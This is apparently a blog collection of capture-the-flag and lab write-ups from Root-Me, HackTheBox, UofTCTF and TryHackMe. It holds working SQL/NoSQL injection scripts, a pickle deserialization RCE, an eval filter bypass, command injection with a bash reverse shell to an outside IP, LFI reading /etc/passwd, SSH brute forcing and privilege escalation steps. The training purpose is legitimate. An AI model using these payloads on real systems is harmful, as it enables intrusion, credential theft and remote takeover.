Yet, we can overcome this by using the pattern ....//....//....// to bypass the restriction and continue with our intended manipulation.

final_sol

As a result of these efforts, we successfully obtained the flag!

flag

have Fun 💜

SQL / NoSQL Challenges (Root-Me): SQLi Auth Bypass, GBK, Blind NoSQL Injection

Mon, 22 Jan 2024 00:00:00 GMT

SQL/NOSQL Challenge From Root-Me : Link #

SQL injection - Authentication - GBK#

Solution:#

1
#!/usr/bin/env python3
2

3
import requests
4

5
session = requests.session()
6

7
url = "http://challenge01.root-me.org:80/web-serveur/ch42/"
8
cookies = {"PHPSESSID": "d98371dbbf99fdd892c6aed10ba46eb4", "_ga_SRYSKX09J7": "GS1.1.1705855195.3.1.1705855314.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
9

10
data = {"login": "\xbf' or 1=1 -- -", "password": "admin"}
11

12
session.post(url, cookies=cookies, data=data, allow_redirects=True)
13
r = requests.get(url + "logged.php", cookies=cookies)
14
print(r.text)

SQL injection - String#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3
from bs4 import BeautifulSoup
4
url = "http://challenge01.root-me.org:80/web-serveur/ch19/?action=recherche"
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705858572.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6

7
pay = "asd' or id='1' union select password,username from users-- -+"
8
data = {"recherche": pay}
9
r = requests.post(url, cookies=cookies, data=data)
10

11
soup = BeautifulSoup(r.text, 'html.parser')
12
beautified_html = soup.prettify()
13
print(beautified_html)
14

15
print(r.text)

Show moreShow less

SQL injection - Numeric#

Solution:#

1
import requests
2
from bs4 import BeautifulSoup
3

4
url = "http://challenge01.root-me.org:80/web-serveur/ch18/?action=news&news_id="
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705859466.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6

7
sql = "2 UNION SELECT 5555,username,password from users"
8

9
r = requests.get(url + sql, cookies=cookies)
10

11
soup = BeautifulSoup(r.text, 'html.parser')
12
print(soup.prettify())
13
print(r.text)

NoSQL injection - Authentication#

Solution:#

1
#!/usr/bin/env python3
2

3
import string
4
import requests
5
import re
6

7
session = requests.session()
8

9
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705860242.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
10

11
for i in string.printable:
12
    url = f"http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]={i}&pass[$ne]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
13
    r = session.get(url, cookies=cookies)
14
    if "Bad username or bad password !" not in r.text:
15
        matches = re.findall(r'flag{.*?}', r.text)
16
        for match in matches:
17
            print(match)
18
            exit(0)

Show moreShow less

SQL injection - Error#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3

4
url = 'http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,'
5

6
passwords = "p455w0rd_c0l"
7
usernames = "us3rn4m3_c0l"
8
tablename = "m3mbr35t4bl3"
9
for i in range(120):
10
    r = requests.get(url + f"(CAST((SELECT%20{usernames}%20FROM%20{tablename}%20LIMIT%201%20OFFSET%20{i})%20AS%20int))")
11
    if "You need to be authenticated to access records" not in r.text:
12
        print(r.text.replace("</body></html>", "").replace("<html><body>", "").replace("<br>", "\n"))
13

14
for i in range(120):
15
    r = requests.get(url + f"(CAST((SELECT%20{passwords}%20FROM%20{tablename}%20LIMIT%201%20OFFSET%20{i})%20AS%20int))")
16
    if "You need to be authenticated to access records" not in r.text:
17
        print(r.text.replace("</body></html>", "").replace("<html><body>", "").replace("<br>", "\n"))

Show moreShow less

SQL injection - Blind#

Solution:#

1
#!/usr/bin/env python3
2
import requests, string
3

4
url = "http://challenge01.root-me.org:80/web-serveur/ch10/"
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705863979.6.1.1705865439.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6
username="admin"
7
password="e2azO93i"
8

9
def GetLength(username):
10
    for length in range(64):
11
        data = {"username": f"user1' AND (select LENGTH(password) from users where username='{username}' LIMIT 1)={length} --", "password": "z"}
12
        r = requests.post(url, cookies=cookies, data=data)
13
        print(f"Trying Length: {length} ")
14
        if "Welcome" in r.text:
15
            return length
16

17

18
def GetPass(username, length):
19
    password = ""
20
    for index in range(1, length + 1):
21
        print(password)
22
        for char in string.printable:
23
            data = {"username": f"user1' AND (SELECT SUBSTR(password,{index},1) FROM users WHERE username='{username}')='{char}' --", "password": "z"}
24
            r = requests.post(url, cookies=cookies, data=data)
25
            print(f"Trying Index: {index}, Char {char}")
26
            if "Welcome" in r.text:
27
                password += char
28
                break
29
    return password
30

31
passwd = GetPass(username, GetLength(username))
32
print(passwd)

Show moreShow less

SQL Truncation#

Solution:#

1
#!/usr/bin/env python3
2

3
import requests
4

5
## Source Code have:
6
# <!--
7
# CREATE TABLE IF NOT EXISTS user(
8
#   id INT NOT NULL AUTO_INCREMENT,
9
#     login VARCHAR(12),
10
#     password CHAR(32),
11
#     PRIMARY KEY (id));
12
# -->
13

14
url = "http://challenge01.root-me.org:80/web-serveur/ch36/register.php"
15

16
user = "admin               hihi" # > 12
17

18

19
data = {"login": user, "password": "sirsirsir"}
20

21
r = requests.post(url, data=data)
22

23
if "User save" in r.text:
24
    burp0_url = "http://challenge01.root-me.org:80/web-serveur/ch36/admin.php"
25
    burp0_data = {"password": "sirsirsir"}
26
    rr = requests.post(burp0_url, data=burp0_data)
27
    print(rr.text)

Show moreShow less

SQL injection - File reading#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3

4

5

6
# Getting The admin encoded credentials
7
burp0_url = "http://challenge01.root-me.org:80/web-serveur/ch31/?action=members&id=1%20AND%201=2%20UNION%20ALL%20SELECT%20null,concat_ws(0x3a,member_id,member_login,member_password,member_email),null,version()%20from%20member--%20-+"
8

9
# r = requests.get(burp0_url)
10

11

12
# Reading The index.php to decode The password
13
file_to_read = "/challenge/web-serveur/ch31/index.php"
14
file_to_read_hex = file_to_read.encode().hex().upper()
15

16
payload = f" AND 1=2 UNION SELECT 1,2,3,load_file(0x{file_to_read_hex})--"
17

18
url = "http://challenge01.root-me.org:80/web-serveur/ch31/?action=members&id=1 " + payload
19
r = requests.get(url)
20
# print(r.text)
21

22
# decoding the password Using The key
23
import base64
24
def stringxor(o1, o2):
25
    res = ''
26
    for i in range(len(o1)):
27
        res += chr(ord(o1[i]) ^ ord(o2[i]))
28
    return res
29

30
key = "c92fcd618967933ac463feb85ba00d5a7ae52842" # from index.php
31
encrypted_data = "VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==" # from the database
32

33
decoded_data = base64.b64decode(encrypted_data).decode('utf-8')
34
result = stringxor(key, decoded_data)
35

36
# print(result)

Show moreShow less

image

C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE

Mon, 15 Jan 2024 00:00:00 GMT

image

1
import pickle
2
import base64
3
import os
4
import requests
5

6
# Payload to be executed on the server
7
payload = 'cp flag.txt application/static/achux21.txt'
8

9
# Class definition for creating a serialized payload using Pickle
10
class RCE:
11
    def __reduce__(self):
12
        return os.system, (payload,)
13

14
# If the script is run directly, not imported as a module
15
if __name__ == '__main__':
16
    # Serialize the payload using Pickle and encode it in base64
17
    var = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii')
18

19
# Craft a URL to trigger the SQL injection vulnerability
20
# The UNION SELECT statement is used to inject the serialized payload
21
r = requests.get(f"http://167.99.82.136:30931/view/%27%20UNION%20SELECT%27{var}")
22

23
# Retrieve the result of the executed payload
24
flag = requests.get(f"http://167.99.82.136:30931/static/achux21.txt")
25

26
# Print the result (flag)
27
print(flag.text)

Show moreShow less

UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception

Sun, 14 Jan 2024 00:00:00 GMT

Name	uoftctf
URL	https://play.uoftctf.org/
Category	Web
Discord	https://discord.com/invite/VAwyzVUt?utm_source=Discord%20Widget&utm_medium=Connect

1. Voice Changer - OS Injection#

This website uses FFmpeg to generate an OGG file. In this challenge, an OS injection vulnerability exists in the FFmpeg command.

OS Injection Image

Let’s attempt to induce a delay in the command using $(sleep 10).

Sleep Command Image

The image reveals a 10-second delay resulting from the execution of the sleep command.

Exploiting the Vulnerability#

To exploit this vulnerability, our approach involves redirecting the flag to our webhook site:

Webhook Image 1

Webhook Image 2

2. The Varsity#

Solution:#

To address the issue, generate a valid (JWT) and proceed by sending a POST request to article number 9 with this json {“issue”:“9’“}

1
import requests
2

3
url = "https://uoftctf-the-varsity.chals.io:443/register"
4
json={"username": "achuxer"}
5
reg = requests.post(url, json=json)
6

7
valid_jwt = reg.headers["Set-Cookie"].split("=")[1].split(";")[0]
8

9
session = requests.session()
10

11
_url = "https://uoftctf-the-varsity.chals.io:443/article"
12
_cookies = {"token": valid_jwt}
13
_json={"issue": "9'"}
14
flag = session.post(_url, cookies=_cookies, json=_json)
15

16
print(flag.json()["content"])

Show moreShow less

No Code - Eval#

Source#

1
from flask import Flask, request, jsonify
2
import re
3

4
app = Flask(__name__)
5

6
@app.route('/execute', methods=['POST'])
7
def execute_code():
8
    code = request.form.get('code', '')
9
    if re.match(".*[\x20-\x7E]+.*", code):
10
        return jsonify({"output": "jk lmao no code"}), 403
11
    result = ""
12
    try:
13
        result = eval(code)
14
    except Exception as e:
15
        result = str(e)
16

17
    return jsonify({"output": result}), 200
18

19
if __name__ == "__main__":
20
    app.run(host="0.0.0.0", port=1337, debug=False)

Show moreShow less

Solution#

Sending \n in the start of your payload cz re.match() will only match at the beginning of the string and not at the beginning of each line.

1
#!/usr/bin/env python3
2
import requests
3
import string,sys
4
url = 'https://uoftctf-no-code.chals.io/execute'
5

6
payload = "\n__import__('os').popen('cat flag.txt').read()"
7

8
data = {
9
    'code': payload
10
}
11
response = requests.post(url, data=data)
12
print(response.text)

Guestbook - Hidden Flag#

By reading the html source you can see POST action directed towards a Google Spreadsheet with the parameter “sheetID”

image

After googling around,with this id you can obtain spreadsheet docs.

https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit

Following this step, you can notice two hidden rows. Once I copied the doc, I had access to the flag

My First App - JWT / SSTI#

Solution : Initially, you must crack a JWT to reveal the jwt_key. Furthermore, there’s an SSTI in the username field from the JWT-cookie, but with certain blacklisted characters/words.

image

PY:#

image

TwoMillion (HackTheBox): API Manipulation → Command Injection → Kernel Exploit

Thu, 10 Aug 2023 00:00:00 GMT

Nmap-scan#

First, let’s initiate a quick scan utilizing nmap.

We need to include “2million.htb” in our /etc/hosts file

Terminal window

1
echo "10.10.11.221 2million.htb" >> /etc/hosts

Trying to have access#

Upon visiting the website, I discovered it’s an outdated version of the HackTheBox platform. To gain access, I attempted to log in using the default credentials, but unfortunately, I received an error message indicating that the user not found.

While exploring the website, I discovered that I can join the platform by obtaining an invite code.

http://2million.htb/invite

I came across a JavaScript code that contains some intriguing elements.

/js/inviteapi.min.js

I am interested in generating my own invite code as well.

I will examine the endpoint “/api/v1/invite/how/to/generate” to gather more information.

After decoding the ROT13 cipher, we discovered the method to generate our own invite code.

Let’s proceed with generating our invite code using the discovered method

Since the invite is encoded using base64, it should be easy to obtain one.

Terminal window

1
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r |base64 -d

Gain administrative#

Upon logging in with the provided invite code, I have started exploring additional API resources to discover more useful functionalities. Fortunately, I have come across some intriguing findings that piqued my interest. “/api/v1”

Terminal windowShow moreShow less

1
curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=b0akpjn8hlj8h2085dv674tgkv" |jq .
2
{
3
  "v1": {
4
    "user": {
5
      "GET": {
6
        "/api/v1": "Route List",
7
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
8
        "/api/v1/invite/generate": "Generate invite code",
9
        "/api/v1/invite/verify": "Verify invite code",
10
        "/api/v1/user/auth": "Check if user is authenticated",
11
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
12
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
13
        "/api/v1/user/vpn/download": "Download OVPN file"
14
      },
15
      "POST": {
16
        "/api/v1/user/register": "Register a new user",
17
        "/api/v1/user/login": "Login with existing user"
18
      }
19
    },
20
    "admin": {
21
      "GET": {
22
        "/api/v1/admin/auth": "Check if user is admin"
23
      },
24
      "POST": {
25
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
26
      },
27
      "PUT": {
28
        "/api/v1/admin/settings/update": "Update user settings"
29
      }
30
    }
31
  }
32
}

Show moreShow less

I will attempt to update my settings

1
"PUT": {
2
         "/api/v1/admin/settings/update": "Update user settings"
3
      }

Great!

Having a RCE#

Now that we have administrative access, we can examine :

1
 "admin": {
2
      "GET": {
3
        "/api/v1/admin/auth": "Check if user is admin"
4
      },
5
      "POST": {
6
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
7
      },

It seems that after spending some time searching, I have discovered a vulnerability in the username parameter. This is a significant finding as it allows you to inject commands and potentially gain unauthorized access.

/api/v1/admin/vpn/generate

Now that we have identified vulnerability, we can exploit it

Terminal window

1
curl -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=b99sapscujo3dg9l7c454tt4fm" -H "Content-Type: application/json" -d '{"username":"$(bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1')"}'

Congratulations! HAHA

Privilege#

After logging in, I discovered an interesting file named “.env”. (A .env file is typically used to store sensitive information)

Terminal windowShow moreShow less

1
ls -la
2
total 56
3
drwxr-xr-x 10 root root 4096 Jun  8 21:40 .
4
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
5
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
6
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
7
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
8
drwxr-xr-x  5 root root 4096 Jun  8 21:40 VPN
9
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
10
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
11
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
12
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
13
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
14
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
15
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
16
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

Show moreShow less

Terminal window

1
cat .env
2
DB_HOST=127.0.0.1
3
DB_DATABASE=htb_prod
4
DB_USERNAME=admin
5
DB_PASSWORD=S************3

Upon inspecting the “.env” file, I found that it contains admin credentials

Terminal window

1
cat /etc/passwd | grep sh
2
root:x:0:0:root:/root:/bin/bash
3
www-data:x:33:33:www-data:/var/www:/bin/bash
4
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
5
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
6
admin:x:1000:1000::/home/admin:/bin/bash

admin is an user

I will attempt to switch to the “admin” user by using the provided pass

we have gained access ‘YoHOO’

While conducting further research, you came across some intriguing findings indicating the presence of a potential CVE

Terminal window

1
admin@2million:/var/www/html$ find / -perm -u=s -type f 2>/dev/null |grep "tmp"
2
/tmp/cve/ovlcap/upper/file
3
/tmp/.troll80lvl/CVE-2023-0386/ovlcap/upper/file
4
/tmp/CVE-2023-0386-main/ovlcap/lower/file
5
/tmp/CVE-2023-0386-main/ovlcap/upper/file

CVE-2023-0386 POC: Link to CVE-2023-0386 Repository

By following the POC, I have acquired the ability to escalate the privileges to the root user level.

Terminal window

1
root@2million:/var/www/html# whoami
2
root
3
root@2million:/var/www/html# id
4
uid=0(root) gid=0(root) groups=0(root),1000(admin)

Sau (HackTheBox): SSRF via Request-Baskets → Maltrail RCE (CVE-2023-32629)

Sun, 09 Jul 2023 00:00:00 GMT

image

Enumeration#

Terminal windowShow moreShow less

1
# Nmap 7.80 scan initiated Sun Jul  9 20:56:56 2023 as: nmap -sCV -oN Nmap -p- -vvv 10.10.11.224
2
Nmap scan report for 10.10.11.224
3
Host is up, received echo-reply ttl 63 (0.31s latency).
4
Scanned at 2023-07-09 20:56:56 +01 for 585s
5
Not shown: 65531 closed ports
6
Reason: 65531 resets
7
PORT      STATE    SERVICE REASON         VERSION
8
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
9
80/tcp    filtered http    no-response
10
8338/tcp  filtered unknown no-response
11
55555/tcp open     unknown syn-ack ttl 63
12
| fingerprint-strings:
13
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
14
|     HTTP/1.1 400 Bad Request
15
|     Content-Type: text/plain; charset=utf-8
16
|     Connection: close
17
|     Request
18
|   GetRequest:
19
|     HTTP/1.0 302 Found
20
|     Content-Type: text/html; charset=utf-8
21
|     Location: /web
22
|     Date: Sun, 09 Jul 2023 20:05:50 GMT
23
|     Content-Length: 27
24
|     href="/web">Found</a>.
25
|   HTTPOptions:
26
|     HTTP/1.0 200 OK
27
|     Allow: GET, OPTIONS
28
|     Date: Sun, 09 Jul 2023 20:05:51 GMT
29
|_    Content-Length: 0
30
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
31
SF-Port55555-TCP:V=7.80%I=7%D=7/9%Time=64AB131E%P=x86_64-pc-linux-gnu%r(Ge
32
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
33
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2009\x20Jul\x202
34
SF:023\x2020:05:50\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
35
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
36
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
37
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
38
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2009\x20Jul\x202
39
SF:023\x2020:05:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
40
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
41
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
42
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
43
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
44
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
45
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
46
SF:\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x
47
SF:20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCo
48
SF:nnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"H
49
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
50
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Ke
51
SF:rberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
52
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
53
SF:quest");
54
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
55

56
Read data files from: /usr/bin/../share/nmap
57
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
58
# Nmap done at Sun Jul  9 21:06:41 2023 -- 1 IP address (1 host up) scanned in 584.89 seconds

Show moreShow less

! POC

During my reconnaissance phase, I discovered a website that utilizes the Request Baskets service.

This web service provides me with the flexibility to collect and examine HTTP requests through either a RESTful API or a user-friendly web interface

image

An intriguing detail we observed is that the service we stumbled upon is running an outdated version, whereas the most recent version available is 1.2.3. This divergence raises the possibility of potential vulnerabilities that we can exploit during our exploitation process.

image

While conducting the vulnerability assessment for this particular system version, I discovered an SSRF (Server-Side Request Forgery) vulnerability. This vulnerability exposes a significant risk as it allows for the unauthorized disclosure of confidential information, including port enumeration.

1
{
2
  "forward_url": "http://127.0.0.1:80/test",
3
  "proxy_response": false,
4
  "insecure_tls": false,
5
  "expand_path": true,
6
  "capacity": 250
7
}

Following the outlined steps in the documentation, I proceeded to create a new basket. However, I deviated from the default GET request method and modified it to a POST request, making the following adjustments.

By leveraging the SSRF vulnerability, I successfully created a targeted route that allowed me access. Within this route, I proceeded to exploit the SSRF vulnerability further, capitalizing on its weaknesses.

image

http://10.10.11.224:55555/web/achux21

image

While accessing the route generated by exploiting the SSRF vulnerability, we came across the Maltrail application. Maltrail serves as a robust system for detecting and analyzing malicious network traffic. It relies on public lists containing suspicious and malicious traces, as well as static traces obtained from reports by various antivirus providers However, it is essential to highlight that the version of Maltrail we encountered is outdated, potentially implying the presence of unaddressed vulnerabilities.

Matrail V0.53

During the analysis, I discovered an unauthenticated command execution vulnerability within the Maltrail application. This vulnerability resides in the subprocess.check_output function, specifically in the file mailtrail/core/httpd.py. The root cause of this vulnerability is a command injection flaw present in the params.get(“username”) parameter.

https://vulners.com/huntr/BE3C5204-FBD9-448D-B97C-96A8D2941E87

image

By exploiting this vuln we could have a remote code execution.

Terminal window

1
curl 'http://hostname:8338/login' \
2
  --data 'username=;`id &gt; /tmp/bbq`'

image

Privilege Escalation#

it’s time to focus on privilege escalation.

Terminal window

1
script /dev/null -c bash
2
sudo  /usr/bin/systemctl status trail.service
3
!sh

Terminal window

1
script /dev/null -c bash
2
sudo  /usr/bin/systemctl status trail.service
3
!sh

image

Terminal window

1
sudo -l

image

BYE

Red (TryHackMe): LFI Bypass → SSH Brute Force → pkexec PrivEsc (CVE-2021-4034)

Fri, 07 Jul 2023 00:00:00 GMT

Enumerations#

Let’s start with a quick Nmap scan.

Nmap Scan#

Terminal window

1
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-16 15:48 +01
2
Nmap scan report for 10.10.27.215
3
Host is up (0.057s latency).
4

5
PORT   STATE SERVICE VERSION
6
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
7
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
8
|_http-server-header: Apache/2.4.41 (Ubuntu)
9
| http-title: Atlanta - Free business bootstrap template
10
|_Requested resource was /index.php?page=home.html
11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
12

13
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
14
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds

It appears that there is an Apache2 web server running on port 80. I have come across a parameter in the URL. Let’s investigate it further by examining the following URL:

1
"http://10.10.27.215/index.php?page=home.html".

Let’s proceed with brute-forcing to discover potential files within this parameter.

Terminal window

1
ffuf -u http://10.10.27.215/index.php?page=FUZZ -w /usr/share/wordlists/dirb/common.txt -fw 1

Terminal window

1
index.php               [Status: 200, Size: 351, Words: 45, Lines: 18]

By visiting the provided endpoint, we have discovered a PHP code comment within the source code.

1
<?php
2

3
function sanitize_input($param) {
4
    $param1 = str_replace("../","",$param);
5
    $param2 = str_replace("./","",$param1);
6
    return $param2;
7
}
8

9
$page = $_GET['page'];
10
if (isset($page) && preg_match("/^[a-z]/", $page)) {
11
    $page = sanitize_input($page);
12
    readfile($page);
13
} else {
14
    header('Location: /index.php?page=home.html');
15
}
16

17
?>

Show moreShow less

I successfully bypassed the PHP str_replace function by utilizing php://filter/resource=/etc/passwd

Terminal windowShow moreShow less

1
root:x:0:0:root:/root:/bin/bash
2
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3
bin:x:2:2:bin:/bin:/usr/sbin/nologin
4
sys:x:3:3:sys:/dev:/usr/sbin/nologin
5
sync:x:4:65534:sync:/bin:/bin/sync
6
games:x:5:60:games:/usr/games:/usr/sbin/nologin
7
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
20
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
21
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
23
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
24
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
25
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
26
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
27
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
28
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
29
pollinate:x:110:1::/var/cache/pollinate:/bin/false
30
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
31
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
32
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
33
blue:x:1000:1000:blue:/home/blue:/bin/bash
34
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
35
red:x:1001:1001::/home/red:/bin/bash

Show moreShow less

It appears that there are three users: root, blue, and red.

I attempted to locate some logs for potential log poisoning, but unfortunately, I couldn’t.

Finally, I have managed to obtain some valuable information.

image

The user “blue” attempted to enhance the security of their password by implementing various rules. However, I was able to get access. I generated a password list and successfully performed a brute force attack on “blue“‘s password using Hydra.

Terminal window

1
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
2

3
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-16 16:16:28
4
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
5
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
6
[DATA] max 16 tasks per 1 server, overall 16 tasks, 77 login tries (l:1/p:77), ~5 tries per task
7
[DATA] attacking ssh://10.10.27.215:22/
8
[22][ssh] host: 10.10.27.215   login: blue   password: [PASS]
9
1 of 1 target successfully completed, 1 valid password found
10
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
11
[ERROR] 2 targets did not resolve or could not be connected
12
[ERROR] 0 target did not complete
13
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-16 16:16:51

image

Priv#

I keep getting msg from the shell

image

And the password keeps changing every time the shell kicks me out.

Every time I receive a message, I start another shell to continue the process.

By running pspy64;

1
2023/07/16 15:25:57 CMD: UID=1001  PID=2685   | bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

I added my IP to /etc/hosts in order to obtain a reverse shell.

Terminal window

1
blue@red:/tmp$ echo 10.18.81.222 redrules.thm >> /etc/hosts

Terminal window

1
achux@Fs:~$ nc -lnvp 9001
2
Listening on 0.0.0.0 9001
3
Connection received on 10.10.27.215 33578
4
bash: cannot set terminal process group (2955): Inappropriate ioctl for device
5
bash: no job control in this shell
6
red@red:~$

Terminal window

1
red@red:~$ ll
2
total 36
3
drwxr-xr-x 4 root red  4096 Aug 17  2022 ./
4
drwxr-xr-x 4 root root 4096 Aug 14  2022 ../
5
lrwxrwxrwx 1 root root    9 Aug 14  2022 .bash_history -> /dev/null
6
-rw-r--r-- 1 red  red   220 Feb 25  2020 .bash_logout
7
-rw-r--r-- 1 red  red  3771 Feb 25  2020 .bashrc
8
drwx------ 2 red  red  4096 Aug 14  2022 .cache/
9
-rw-r----- 1 root red    41 Aug 14  2022 flag2
10
drwxr-x--- 2 red  red  4096 Aug 14  2022 .git/
11
-rw-r--r-- 1 red  red   807 Aug 14  2022 .profile
12
-rw-rw-r-- 1 red  red    75 Aug 14  2022 .selected_editor
13
-rw------- 1 red  red     0 Aug 17  2022 .viminfo

.git weird folder!!

Terminal window

1
red@red:~/.git$ ll
2
total 40
3
drwxr-x--- 2 red  red   4096 Aug 14  2022 ./
4
drwxr-xr-x 4 root red   4096 Aug 17  2022 ../
5
-rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec*
6
red@red:~/.git$ ./pkexec --version
7
pkexec version 0.105

I believe we can exploit that situation.

CVE-2021-4034

Simply copying and pasting the exploit will not be sufficient to achieve our goal. We need to understand the exploit thoroughly and tailor it to the specific context in order to successfully exploit the vulnerability.

